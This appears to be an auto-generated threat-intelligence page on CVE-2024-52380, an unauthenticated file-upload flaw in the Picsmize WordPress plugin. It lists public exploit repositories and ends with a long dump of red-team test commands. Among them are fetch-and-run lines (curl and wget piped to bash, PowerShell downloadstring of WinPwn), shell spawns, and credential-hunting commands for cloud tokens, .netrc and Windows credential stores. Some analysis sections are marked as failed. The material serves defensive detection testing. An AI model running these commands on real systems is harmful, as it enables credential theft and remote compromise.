CVE-2024-52380
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434, occurring in the softpulseinfotech Picsmize plugin. The root cause lies in insufficient validation of uploaded file types, allowing dangerous files to be accepted and stored by the web server. The affected component is the file upload functionality within Picsmize versions up to and including 1.0.0.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in softpulseinfotech Picsmize picsmize allows Upload a Web Shell to a Web Server.This issue affects Picsmize: from n/a through <= 1.0.0.
Impact
An unauthenticated attacker can upload and execute arbitrary code on the web server by leveraging the unrestricted file upload capability. This enables full system compromise, including data theft, server manipulation, and potential lateral movement within the network. No user privileges or interaction are required, making exploitation straightforward and increasing the likelihood of successful attacks against affected installations.
Solution
Users should upgrade the Picsmize plugin to a version later than 1.0.0 once a patch is released. The advisory on Patchstack (https://patchstack.com/database/Wordpress/Plugin/picsmize/vulnerability/wordpress-picsmize-plugin-1-0-0-arbitrary-file-upload-vulnerability?_s_id=cve) provides detailed instructions and timelines for remediation. Until a patch is available, disabling the file upload feature or restricting upload permissions at the web server level is recommended as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability associated with unrestricted file uploads in the Picsmize application presents a critical security risk due to its potential to allow attackers to upload malicious files, such as web shells, directly to the server. This flaw arises from the application’s lack of adequate validation and restrictions on file types during the upload process. As a result, an attacker can bypass security measures and execute arbitrary code on the server, leading to severe consequences. The absence of stringent checks enables the upload of files that can be executed by the web server, fundamentally compromising the integrity and confidentiality of the system.
Attack vectors for this vulnerability are particularly concerning, as they can be exploited through straightforward methods. An attacker could craft a malicious file, such as a PHP web shell, and disguise it as a harmless image or document. By leveraging the unrestricted upload functionality, the attacker can successfully upload this file to the server. Once the web shell is in place, the attacker gains remote access to the server, allowing them to execute commands, manipulate files, and potentially pivot to other systems within the network. This scenario highlights the ease with which an attacker can exploit the vulnerability, making it a high-risk issue for organizations using the affected application.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on the Picsmize application for image processing or similar functions. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, and the deployment of additional malware. The ramifications extend beyond immediate financial losses; organizations may face reputational damage, regulatory penalties, and loss of customer trust. The potential for data breaches and the ensuing legal implications further compound the business risk, making it imperative for organizations to address this vulnerability promptly.
Detection and mitigation strategies are crucial for organizations to safeguard against this vulnerability. Regular security assessments and penetration testing can help identify weaknesses in the application’s file upload functionality. Implementing a robust file validation mechanism is essential; this includes checking file types, sizes, and content to ensure that only safe files are permitted for upload. Additionally, employing a web application firewall (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the server. Organizations should also ensure that their software is kept up to date, applying patches and updates as they become available to mitigate known vulnerabilities.
In conclusion, the unrestricted file upload vulnerability in the Picsmize application poses a significant threat to organizations, enabling attackers to gain unauthorized access and control over web servers. The simplicity of exploitation, coupled with the severe potential consequences, underscores the need for immediate action. By adopting comprehensive detection and mitigation strategies, organizations can protect their systems and data from the risks associated with this vulnerability, ensuring a more secure operational environment.
CSURFACE threat intelligence has identified a marked escalation in the exploit landscape for CVE-2024-52380, highlighted by the emergence of multiple public proof-of-concept exploit codes hosted on GitHub. This development significantly lowers the barrier to entry for threat actors seeking to leverage the unrestricted file upload vulnerability in the Picsmize plugin, enabling unauthenticated attackers to deploy web shells and gain persistent control over affected web servers. Concurrently, the vulnerability’s CVSS score has been formally assigned a critical rating of 10.0, reflecting its severe impact and exploitability. Our telemetry also indicates the introduction of a substantial EPSS score, now exceeding 0.6, situating this vulnerability in the upper percentile of likely exploitation events. This combination of accessible exploit code and elevated predictive scoring signals an increased likelihood of active exploitation attempts in the wild. For defenders, this shift demands heightened vigilance as the vulnerability transitions from theoretical risk to practical threat, increasing the urgency for detection and response capabilities. The overall threat level has escalated to critical, underscoring the necessity for immediate prioritization within vulnerability management workflows.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-52380-Exploit
Picsmize plugin for WordPress is vulnerable to arbitrary file uploads.
|
Nxploited | 3 | 0 | 2025-01-18 | View |
|
0xshoriful/CVE-2024-52380
|
0xshoriful | 0 | 0 | 2024-11-30 | View |
|
RandomRobbieBF/CVE-2024-52380
Picsmize <= 1.0.0 - Unauthenticated Arbitrary File Upload
|
RandomRobbieBF | 0 | 0 | 2024-11-25 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-52380 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/picsmize/vulnerability/wordpress-picsmize-plugin-1-0-0-arbitrary-file-upload-vulnerability?_s_id=cve |